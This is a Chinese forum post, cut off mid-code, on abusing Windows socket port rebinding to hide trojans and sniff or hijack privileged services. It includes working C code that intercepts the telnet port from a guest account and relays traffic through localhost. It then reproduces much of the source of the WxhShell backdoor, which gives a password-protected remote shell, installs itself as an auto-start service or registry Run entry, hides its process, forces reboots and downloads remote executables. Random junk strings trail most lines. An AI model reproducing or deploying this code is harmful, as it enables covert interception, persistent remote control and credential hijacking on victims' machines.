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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O pX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,3TD $2};.  
8i 'jkyInT  
  saddr.sin_family = AF_INET; leqSS}KU+  
CMf~Yv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "+"dALX{3K  
H ;}ue  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C2%3+  
n7<-lQRaxZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R}mWHB_h"  
UVRV7^eTe  
  这意味着什么?意味着可以进行如下的攻击: 7`n8 OR4  
`)_FO]m}jS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z s!q#qM  
p+1B6j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wA+4:CF @  
VFp)`+8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R1%T>2"~&  
!f[N&se  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3JO:n6  
\DdVMn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3gXUfv2ID  
HUX+d4sg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H zK=UcD  
[-}%B0S**  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e"09b<69  
lcLxqnv  
  #include m/c~2?-;  
  #include \shoLp   
  #include 5%$kAJZC-  
  #include    W| eG}`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Hd}t=6  
  int main() D#(L@ {vC  
  { K_Gf\x  
  WORD wVersionRequested; #.K&]OV/88  
  DWORD ret; PltPIu)F  
  WSADATA wsaData; uB9+E%jOdQ  
  BOOL val; |-?b)yuAz  
  SOCKADDR_IN saddr; c'4 \F9  
  SOCKADDR_IN scaddr; ~0  t'+.  
  int err; jDR\#cGrZ  
  SOCKET s; sMo%Ayes  
  SOCKET sc; Wsz9X;  
  int caddsize; rJ*WxOoS{  
  HANDLE mt; 3Q6#m3AWY  
  DWORD tid;   _dY}86{  
  wVersionRequested = MAKEWORD( 2, 2 ); Hh/#pGf2  
  err = WSAStartup( wVersionRequested, &wsaData ); KWkT 9[H  
  if ( err != 0 ) { ~#xRoBy3  
  printf("error!WSAStartup failed!\n"); Fsdn2{g8U  
  return -1; !T1i_  
  } .h } D%Qa  
  saddr.sin_family = AF_INET; ZuON@(  
   $a]dxRkz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /FXfu  
&Vm[5XW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .5zJ bZ9  
  saddr.sin_port = htons(23); ;]e"bX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V)@scB|>,  
  { -M9 4 F  
  printf("error!socket failed!\n"); ?q6eV~P  
  return -1; 9]9(o  
  } *]k"H`JoFC  
  val = TRUE; n*|-"'j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fs~-exY1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +{*&I DW  
  { kE|#mI[>  
  printf("error!setsockopt failed!\n"); ot6 P q}  
  return -1; J)+eEmrU  
  }  ,1kV9_x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !pXz-hxKT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (\_d'Js(;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r +fzmb  
3s Nq3I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "*WXr$  
  { hWJc A.A  
  ret=GetLastError(); IVKE dwA  
  printf("error!bind failed!\n"); 1 ErYob.p  
  return -1; _E 8SX v  
  } h Nwb.[  
  listen(s,2); %dQX d ]  
  while(1) w,$17+]3  
  { z AIC5fvu  
  caddsize = sizeof(scaddr); S^.=j oI  
  //接受连接请求 :zoX Xo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'LI)6;Yc  
  if(sc!=INVALID_SOCKET) Plv+mb  
  { w9BH>56/"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2y,wN"qH*  
  if(mt==NULL) ^6n]@4P  
  { cPYQ<Y=  
  printf("Thread Creat Failed!\n"); lUz@Em  
  break; &!Vp'l\9  
  } r~t7Z+PXF  
  } /J:j'6  
  CloseHandle(mt); >?V->7QLP  
  } _!D$Aj  
  closesocket(s); bf+2c6_BN0  
  WSACleanup(); 2:yv:7t/  
  return 0; e%\KI\u  
  }   AJ}Q,E  
  DWORD WINAPI ClientThread(LPVOID lpParam) w5Z3e^g  
  { gsH_pG-jU  
  SOCKET ss = (SOCKET)lpParam; .?TVBbc%5  
  SOCKET sc; \k8_ZJw  
  unsigned char buf[4096]; fE iEy%o  
  SOCKADDR_IN saddr; Z5K,y19/~  
  long num; P{ o/F  
  DWORD val; +aap/sYp  
  DWORD ret; 5kz`_\ &  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6]*qx5m`<l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^S @b*  
  saddr.sin_family = AF_INET; |Ca n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#{aAx|]  
  saddr.sin_port = htons(23); <o O_wS@:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vbU{Et\ ^  
  { !k^\`jMzw  
  printf("error!socket failed!\n"); +{Ttv7l_2  
  return -1; ,q1RJiR  
  } Qp}<8/BM\  
  val = 100; B'yrXa|P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }^t?v*kcA  
  { jC=_>\<|X*  
  ret = GetLastError(); N 2\,6<  
  return -1; 1^mO"nX  
  } ijfT!W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mvxvX!t  
  { I nk76-  
  ret = GetLastError();  R !HL+  
  return -1; `7`iCYiTy  
  } z#b6 aP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c3+vtP&  
  { li?Gb1  
  printf("error!socket connect failed!\n"); W=/B[@3'  
  closesocket(sc); S6uBk"V!  
  closesocket(ss); lK0coj1+  
  return -1; coBxZyM 1}  
  } 3$TpI5A  
  while(1) L '=3y$"],  
  { D KOdqTW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W=drp>Uj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {fWZ n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,h"M{W$  
  num = recv(ss,buf,4096,0); #+$z`C`  
  if(num>0) W-MQMHQ  
  send(sc,buf,num,0); 8in8_/x  
  else if(num==0) rQF%;  
  break; SrxX-Hir  
  num = recv(sc,buf,4096,0); 9S}PCAA;  
  if(num>0) _kfApO )O  
  send(ss,buf,num,0); q%l<Hw6{z  
  else if(num==0) b1+Nm  
  break; MWB?V?qPSC  
  } {v(3[ 7  
  closesocket(ss); 8@!SM  
  closesocket(sc); ouuj d~b+  
  return 0 ; G 8@%)$A  
  } F-m1GG0s  
pdM|dGq^  
|"arVde  
========================================================== zPn8>J<.0Q  
zT@vji%Y  
下边附上一个代码,,WXhSHELL mYZH]oo  
D*b> l_  
========================================================== xJ4T7 )*  
Ty>`r n  
#include "stdafx.h" Wjp<(aY[  
Mw< 1  
#include <stdio.h> CR<*<=rI  
#include <string.h> !|SawT5t   
#include <windows.h> HRk+2'wjAz  
#include <winsock2.h> .d;/6HD[y  
#include <winsvc.h> I>:'5V  
#include <urlmon.h> Xo P]PR`cQ  
[e (-  
#pragma comment (lib, "Ws2_32.lib") q^gd1K<N  
#pragma comment (lib, "urlmon.lib") *%8dW  
lPjgBp{/  
#define MAX_USER   100 // 最大客户端连接数 w!Z3EA;`  
#define BUF_SOCK   200 // sock buffer GerZA#  
#define KEY_BUFF   255 // 输入 buffer 0=~Ji_5mB  
<I7UyCAF  
#define REBOOT     0   // 重启 & )Z JT.S  
#define SHUTDOWN   1   // 关机 P;h/)-q8  
QJxcH$  
#define DEF_PORT   5000 // 监听端口 ~*&_zPTN  
nRvV+F0#  
#define REG_LEN     16   // 注册表键长度 +:D0tYk2B  
#define SVC_LEN     80   // NT服务名长度 9K)2OX;$w  
MYu-[Hg  
// 从dll定义API = fm/l-P@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mv_4*xVc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0&<{o!>k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @qeI4io-n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !5pp A  
'kp:yI7w  
// wxhshell配置信息 lgU7jn  
struct WSCFG { H}A67J9x  
  int ws_port;         // 监听端口 zg]9~i8  
  char ws_passstr[REG_LEN]; // 口令 'EXp[*  
  int ws_autoins;       // 安装标记, 1=yes 0=no )V3G~p=0  
  char ws_regname[REG_LEN]; // 注册表键名 kIQMIL0+  
  char ws_svcname[REG_LEN]; // 服务名 Xf:-K(%e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } ZV$_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4!D!.t~r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o)w'w34FCT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]ko>vQ4]3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pDW .Pav  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xod#$'M>  
_bW#* Y5  
}; 'Kl} y,  
7z`)1^ M  
// default Wxhshell configuration ,w c|YI)E  
struct WSCFG wscfg={DEF_PORT, ! @|"84  
    "xuhuanlingzhe", K@+&5\y]  
    1, > QCVsX>~  
    "Wxhshell", 4W6gKY  
    "Wxhshell", :[! rj  
            "WxhShell Service", r"^P>8  
    "Wrsky Windows CmdShell Service", iX}EJD{f  
    "Please Input Your Password: ", Nq-qks.&  
  1, >[NNu Y~  
  "http://www.wrsky.com/wxhshell.exe", I/t2c=f  
  "Wxhshell.exe" s+,JwV?b  
    }; 0&zp9(G5  
ZjbMk 3Y  
// 消息定义模块 -GQ`n01  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y'58.8hl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C&r&&Pw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x]w%?BlS  
char *msg_ws_ext="\n\rExit."; G$WMW@fy  
char *msg_ws_end="\n\rQuit."; VP5_Y1e7  
char *msg_ws_boot="\n\rReboot..."; U",kAQY  
char *msg_ws_poff="\n\rShutdown..."; {o AJL  
char *msg_ws_down="\n\rSave to "; CPAizS  
t '* L,  
char *msg_ws_err="\n\rErr!"; XNsMXeO]&  
char *msg_ws_ok="\n\rOK!"; j&u{a[Y/}  
K%)u zP  
char ExeFile[MAX_PATH]; *IfLoKS'  
int nUser = 0; ] vQn*T"^  
HANDLE handles[MAX_USER]; #TXgV0\F  
int OsIsNt; *$Bx#0J8  
qo/`9%^E?  
SERVICE_STATUS       serviceStatus; #Mrof9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L `3x0u2  
0;KjP?5  
// 函数声明 1)w^.8f  
int Install(void); /U+0T>(HS  
int Uninstall(void); Zg_ fec~6q  
int DownloadFile(char *sURL, SOCKET wsh); 0.qnbDw_  
int Boot(int flag); ZDMS:w.'T  
void HideProc(void); AfB,`l`k  
int GetOsVer(void); s&TPG0W  
int Wxhshell(SOCKET wsl); RX\%R  
void TalkWithClient(void *cs); Igrr"NuDZ  
int CmdShell(SOCKET sock); b dP @^Q  
int StartFromService(void); a/ ^ojn  
int StartWxhshell(LPSTR lpCmdLine); PF~w$ eeQ  
Bz!SZpW(M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gg$4O8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 90X<Qs  
SN' j?-  
// 数据结构和表定义 D.su^m_1  
SERVICE_TABLE_ENTRY DispatchTable[] = M*<Ee]u  
{ AhWcJD]  
{wscfg.ws_svcname, NTServiceMain}, 2Jm#3zFYz3  
{NULL, NULL} xim'TVwvC  
}; plN:QS$  
lp+Uox  
// 自我安装 rv ouE:  
int Install(void) Y,n&g45m  
{ E9<oA.  
  char svExeFile[MAX_PATH]; 5bBY[qp  
  HKEY key; epXvk &  
  strcpy(svExeFile,ExeFile); m -]E|  
$MhfGMk!'  
// 如果是win9x系统,修改注册表设为自启动 O4t0 VL$  
if(!OsIsNt) { K+|G9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lsq\CavbM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nz1u:D]  
  RegCloseKey(key); wN Mf-~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qa>t$`o`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >sGIpER7  
  RegCloseKey(key); kT^|%bB[i  
  return 0; 3e,"B S)+  
    } F}MjZZj(U=  
  } ;#)sV2F\&  
} +7E&IK  
else { C)hS^D:  
7!F<Uf,V3  
// 如果是NT以上系统,安装为系统服务 l^!raoH]q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = Zi'L48  
if (schSCManager!=0) 1#}}:  
{ 4f SG c8  
  SC_HANDLE schService = CreateService o@2Y98~Q}  
  ( \8Y62  
  schSCManager, l_$ le  
  wscfg.ws_svcname, eU(cn8/}  
  wscfg.ws_svcdisp, zpgRK4p,I"  
  SERVICE_ALL_ACCESS, %/.yGAPkx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  |pgrR7G'  
  SERVICE_AUTO_START, vX30Ijm  
  SERVICE_ERROR_NORMAL, tqk^)c4FF(  
  svExeFile, *E.uqu>I  
  NULL, tw k  
  NULL, b=+3/-d  
  NULL, A9Kt^HR  
  NULL, BMi5F?Q'G  
  NULL 5LaF'>1yY  
  ); xlIVLv6dO  
  if (schService!=0) dj-/%MU  
  { *jCHv  
  CloseServiceHandle(schService); &a8%j+j  
  CloseServiceHandle(schSCManager); e5 N$+P"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vFwhe!  
  strcat(svExeFile,wscfg.ws_svcname); _kEU=)Xe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { me@k~!e"z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?'I-_9u  
  RegCloseKey(key); Xx,Rah)X3  
  return 0; s+0n0C  
    } T|k_$LH  
  } Kt3T~k  
  CloseServiceHandle(schSCManager); {Ri6975  
} {c}n."`  
} H"NBjVRU%  
xcE2hK/+  
return 1; M.qE$  
} ?+_Y!*J2b  
#b,! N  
// 自我卸载 'IQ;; [Q  
int Uninstall(void) N1fPutl$a  
{ \%}w7J;  
  HKEY key; VPvQ]}g6k  
0JE*|CtK  
if(!OsIsNt) { ec h1{v\B|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{ 52bH<  
  RegDeleteValue(key,wscfg.ws_regname); AB+HyZ*//  
  RegCloseKey(key); 0d/ f4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Gx-q+H  
  RegDeleteValue(key,wscfg.ws_regname); `D $ "K1u  
  RegCloseKey(key); Y>2oU`ly,  
  return 0; ^]k=*>{ R  
  } VXPs YR&  
} Ju-#F@38  
} D4jZh+_|S  
else { n,#o6ali>  
]u|5ZCv0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s:xt4<  
if (schSCManager!=0) nTv^][  
{ &8HJ4Vj2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9}T(m(WQVu  
  if (schService!=0) }xJ!0<Bs  
  { @{@DGc  
  if(DeleteService(schService)!=0) { ~Dbu;cqR@  
  CloseServiceHandle(schService); *#.Ku(C+  
  CloseServiceHandle(schSCManager); \2Yo*jE}  
  return 0; a|-B#S  
  } V~7Oa2'#B  
  CloseServiceHandle(schService); wBCBZs$H  
  } ^tL]QE?|  
  CloseServiceHandle(schSCManager); MjW{JR)I  
} ,l#f6H7p  
} k r5'E#  
Wgm{ ]9Q  
return 1; QfV:&b`  
} %Vb~}sT:  
zP>=K  
// 从指定url下载文件 nNhb,J  
int DownloadFile(char *sURL, SOCKET wsh) DD'RSV5]  
{ G&q@B`I  
  HRESULT hr; :gM_v?sy  
char seps[]= "/"; ts &sr  
char *token; !DBaC%TGC  
char *file; wV q4DE  
char myURL[MAX_PATH]; Y z],["*Q  
char myFILE[MAX_PATH]; !JQ'~#jKN  
chu r(@Af  
strcpy(myURL,sURL); /6FPiASbS  
  token=strtok(myURL,seps); X\|h:ce  
  while(token!=NULL) .-:@+=(  
  { _#yd0E  
    file=token; vMYEP_lhK,  
  token=strtok(NULL,seps); 6$G@>QCBS  
  } Z8:'_#^@a[  
)U+&XjK  
GetCurrentDirectory(MAX_PATH,myFILE); :+<GJj_d+  
strcat(myFILE, "\\"); ~>u u1[ /  
strcat(myFILE, file); i9^m;Y)^I  
  send(wsh,myFILE,strlen(myFILE),0); a/Cc.s   
send(wsh,"...",3,0); 7 V=%&+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,#.9^J  
  if(hr==S_OK) ^o(C\\>{&  
return 0; D26A%[^O  
else LIh71Vg/cc  
return 1; Q[ .d  
)2?A|f8  
} Ym wb2]M  
"b0!h6$!H  
// 系统电源模块 g7r0U6Y  
int Boot(int flag) b`^mpB*6R  
{ |DUOyQ  
  HANDLE hToken; Es&'c1$^s  
  TOKEN_PRIVILEGES tkp; Q oWjC  
d[&Ah~,  
  if(OsIsNt) { kOV6O?h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;'oi7b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 84c[Z   
    tkp.PrivilegeCount = 1; oN[# C>#(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y*j8OA.S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 78O5$?b;#  
if(flag==REBOOT) { * oru;=D@8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pbNW l/|4  
  return 0; |"Fm<  
} QD^"cPC)mM  
else { t_iZ\_8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7VA6J-T  
  return 0; rm!.J0 X  
} ^"4u1  
  } HE*P0Y f=  
  else { eQsoZQA1  
if(flag==REBOOT) { ixJwv\6Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C-;}a%c"  
  return 0;  p/?TU  
} :snn-e0l  
else { }>m3V2>[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N4wMAT:h  
  return 0; &$.x1$%  
} y5:al7*P  
} V5]:^=  
6EkD(w  
return 1; 7.(vog"I)  
} *Bx' g| u  
o88Dz}a  
// win9x进程隐藏模块 f/e2td*A  
void HideProc(void) >}B~~C;  
{ ?]2OT5@&s  
D;OR?NdgvW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3bMUsyJ2  
  if ( hKernel != NULL ) !' jXN82  
  { ybVdWOqv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $:<G=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bn8?-  
    FreeLibrary(hKernel); `L?9-)m<f  
  } (1}"I RX.  
6T=zHFf~  
return; {y7,n  
} ii]'XBSVd  
Mta;6<  
// 获取操作系统版本 ]@7]mu:oL  
int GetOsVer(void)  eZ +uW0  
{ K7 $Vl"l  
  OSVERSIONINFO winfo; !FR1yO'd>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yq%D/dU8  
  GetVersionEx(&winfo); t+B L O<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 91bJ7%  
  return 1; da53XEF&  
  else ^p!bteA>  
  return 0; d^jIsE`  
} ]<\; -i)  
Ow7I`#P  
// 客户端句柄模块 ^9I^A!w=  
int Wxhshell(SOCKET wsl) G/C5o=cY  
{ $; t#pN/`  
  SOCKET wsh; Ss{  
  struct sockaddr_in client; {T[/B"QZG  
  DWORD myID; rCO:39L-  
'BwM{c-O"  
  while(nUser<MAX_USER) n)rF!a  
{ =AJ I3 'x  
  int nSize=sizeof(client); 2 -M]!x)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A[m4do  
  if(wsh==INVALID_SOCKET) return 1; D^H<)5d9  
ld*RL:G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rd.[8#7VE  
if(handles[nUser]==0) G0eJ<*|_ 3  
  closesocket(wsh); Ig6>+Mw  
else s% ~p?_P   
  nUser++; MF^I] 7_  
  } P=9Zm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^NTOZ0x~#  
B.J4}Ua  
  return 0; >}ozEX6c2  
} {bvm83{T  
$W;IW$  
// 关闭 socket `g iCytv  
void CloseIt(SOCKET wsh) 4c=oAL  
{ y3!=0uPf  
closesocket(wsh); g1`/xJz|  
nUser--; @Q atgYu  
ExitThread(0); #/9(^6f:  
} s(I7}oRWsL  
l7r!fAV-f  
// 客户端请求句柄 IK-E{,iKc  
void TalkWithClient(void *cs) `-N&cc  
{ `'`T'+0  
WwDxZ>9jw  
  SOCKET wsh=(SOCKET)cs; wp,z~raaS  
  char pwd[SVC_LEN]; :B'}#;8_  
  char cmd[KEY_BUFF]; :{tvAdMl7  
char chr[1]; l<$c.GgFd  
int i,j; V ;)q?ZHg  
:22IY> p  
  while (nUser < MAX_USER) { w{"GA ~=  
1H_#5hd  
if(wscfg.ws_passstr) { p=(;WnsK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U{>eE8l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3rZ"T  
  //ZeroMemory(pwd,KEY_BUFF); (dF4F4`{  
      i=0; ]Zim8^n?`.  
  while(i<SVC_LEN) { hexq]'R  
8D:{05  
  // 设置超时 5yQv(<~*G  
  fd_set FdRead; A2"xCJ0`  
  struct timeval TimeOut; 0ZV)Y<DJ  
  FD_ZERO(&FdRead); [@= [< _r  
  FD_SET(wsh,&FdRead); r\"O8\  
  TimeOut.tv_sec=8; RfwTqw4@  
  TimeOut.tv_usec=0; sy` : wp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #7U,kTj9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $E4W{ad2jW  
K,}"v ;||  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R6Cm:4m}I  
  pwd=chr[0]; Tf"DpA!_  
  if(chr[0]==0xd || chr[0]==0xa) { UG>OL2m>5  
  pwd=0; |Tz4xTK  
  break; q $`:/ ehw  
  } !DCJ2h%E[_  
  i++; m=S[Y^tR  
    } u hP0Zwn  
HJ5m5':a  
  // 如果是非法用户,关闭 socket lq_W;L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dTaR 8i  
} j78xMGKO  
GD'C^\E aZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2`vCQV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZjEO$ ts=@  
5 ^iU1\(L  
while(1) { B<[;rk  
E!VAA=  
  ZeroMemory(cmd,KEY_BUFF); [JVI@1T  
FV$= l %  
      // 自动支持客户端 telnet标准   tb0XXE E  
  j=0; ]+ ':=&+:  
  while(j<KEY_BUFF) { );z}T0C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %MP s}B  
  cmd[j]=chr[0]; ;?2vW8{p<  
  if(chr[0]==0xa || chr[0]==0xd) { AEnS_Q  
  cmd[j]=0; Oyq<y~}  
  break; ;.W0Aa  
  } 4 _N)1u !  
  j++; ja7Z v[  
    } %TG$5' )0  
q'hV 'U  
  // 下载文件 =pcj{B{qa  
  if(strstr(cmd,"http://")) { >Fld7;L?<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mn~A;=%qF  
  if(DownloadFile(cmd,wsh)) !nj%n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \MtiLaI"  
  else vEzzdDwi6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jD^L<  
  } 9v cUo?/  
  else { |k/;.  
\Zf&&7v  
    switch(cmd[0]) { Ip4NkUI3T  
  sp**Sg)  
  // 帮助 g@Ni!U"_c  
  case '?': { /"CKVQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HxY,R ^  
    break; h0.Fstf]  
  } ;6b#I$-J-  
  // 安装 N`Bt|#R  
  case 'i': { a LmVOL{  
    if(Install()) ? 3}UO:B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xe+&/J5b  
    else <YeF?$S}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G<jpJ  
    break; U-FA^c;  
    } 6@XutciK  
  // 卸载 pXFNK" jm  
  case 'r': { kw-/h+lG  
    if(Uninstall()) DQlaSk4hF_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7AuKY{L  
    else uaPBM<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Msd!4TrBJ  
    break; !W%HAlUAG[  
    } X^|oY]D  
  // 显示 wxhshell 所在路径 zK-hNDFL{  
  case 'p': { (uG4W|?p  
    char svExeFile[MAX_PATH]; 0='DDy  
    strcpy(svExeFile,"\n\r"); : l>Ue&  
      strcat(svExeFile,ExeFile); @>9p2u)=  
        send(wsh,svExeFile,strlen(svExeFile),0); TLSy+x_gX  
    break; B?0{=u  
    } u\e#_*>  
  // 重启 %o"Rcw|  
  case 'b': { 9uS7G*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gs8L/veP  
    if(Boot(REBOOT)) Ox~'w0c,f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tc88U8Gc  
    else { _).'SU)>  
    closesocket(wsh); W;N/Y3Lb  
    ExitThread(0); Q?a"uei[  
    } 3,vH:L4  
    break; =` i 7?  
    } 'o7PIhD"  
  // 关机 phc1AN=[E  
